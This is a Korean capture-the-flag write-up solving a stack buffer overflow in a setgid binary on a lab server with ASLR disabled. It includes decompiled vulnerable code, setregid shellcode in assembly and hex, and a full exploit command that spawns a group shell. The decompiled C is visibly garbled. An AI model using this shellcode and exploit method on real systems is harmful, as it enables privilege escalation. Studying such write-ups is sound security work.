CTF

2011 HUST Hacking Festival - M

pwn3r_45 2011. 10. 3. 22:00
Category : Pwnables

NULL

Summary : simple buffer overflow

Server Info

[whatthe@k1rha ~]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

서버의 환경은 fedora14 이지만 ASLR과 Exec-shield가 disable되어있다.
(/bin/cat을 실행할 수 없도록 해두어서 파일을 읽을때에 strings나 xxd명령으로 확인했다.)

[anomy@k1rha .pwn3r]$ xxd /proc/sys/kernel/randomize_va_space
0000000: 300a                                    0.
[anomy@k1rha .pwn3r]$ xxd /proc/sys/kernel/exec-shield
0000000: 300a                                    0.

홈디렉토리에는 ReadMe라는 파일만이 주어졌는데 , hust user의 권한을 획득하라는 내용이다.
hust user의 권한으로 돌아가는 daemon 및 setuid/gid가 걸린파일을 검색하자 /usr/ping이란 프로그램이 hust group에 setgid가 걸려있었다.

int main(int argc, char **argv)
{
  int result; //
eax@2
  char v3; // [sp+10h] [bp-400h]@12
  int v4; // [sp+3F8h] [bp-18h]@1
  signed int i; // [sp+3FCh] [bp-14h]@1

  i = 0;
  if ( argc > 1 )
  {
    for ( i = 0; i <= 999; ++i )
    {
      if(i%87 == 0) argv[1][i] += 1
      if(i%7 == 0) argv[1][i] += 2
      if(i%20 == 0) argv[1][i] += 3
    }
    setgid(500);
    strcpy(buffer, argv[1]); // Vuln!!
    result = puts(buffer);
  }
  else
  {
    result = puts("Usage : ./[file] [argv]");
  }
  retult = puts("Usage : ./[file] [argv]");
  }
  return result;
}


argc가 2이상이면 단순히 strcpy함수로 argv[1]을 지역변수에 덮어주기때문에 overflow취약점이 발생한다.
ASLR과 Exec-Shield가 disable되어있기때문에 단순히 많은 쉘코드를 stack에 올려주고 리턴어드레스를 쉘코드쪽으로 돌려주면 hust group의 권한을 획득할 수 있다.

권한유지를 위해 setregid를 호출하는 쉘코드도 넣어주어야한다.
웹상에 돌아다니는게 없어서 hkpco님의 universal shellcode를 조금 수정하였다.
(http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt)

[pwn3r@localhost sys]$ cat gid.s
.global main

main:

xor %eax, %eax
movb $0x32, %al
int $0x80

mov %eax, %ebx
mov %eax, %ecx
xor %eax, %eax
movb $0x47, %al
int $0x80
[pwn3r@localhost sys]$ gcc -o gid gid.s
[pwn3r@localhost sys]$ objdump -d gid
..................................................................
08048394 <main>:
 8048394: 31 c0                 xor    %eax,%eax
 8048396: b0 32                 mov    $0x32,%al
 8048398: cd 80                 int    $0x80
 804839a: 89 c3                 mov    %eax,%ebx
 804839c: 89 c1                 mov    %eax,%ecx
 804839e: 31 c0                 xor    %eax,%eax
 80483a0: b0 47                 mov    $0x47,%al
  80483a2: cd 80                 int    $0x80
...................................................................

=> "\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80"



argv[1]의 데이터를 변경하기때문에 argv[2]에 많은 nop와 쉘코드를 넣어주고 , 스택의 아무지점이나 찍어서 리턴어드레스를 변경해주면 많은 nop덕분에 간단히 hust group의 쉘을 얻을 수 있다.

[anomy@k1rha .pwn3r]$ /usr/ping `python -c 'print "\x90"*1036 + "\xfc\xf5\xff\xbf"'` `python -c 'print "\x90"*600+"\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80"+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3" '`
 
sh-4.1$ id
uid=501(anomy) gid=500(hust) groups=501(anomy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ cd /home/hust
sh-4.1$ strings keyvlauetxtasweme
itisnotkey

Flag : itisnotkey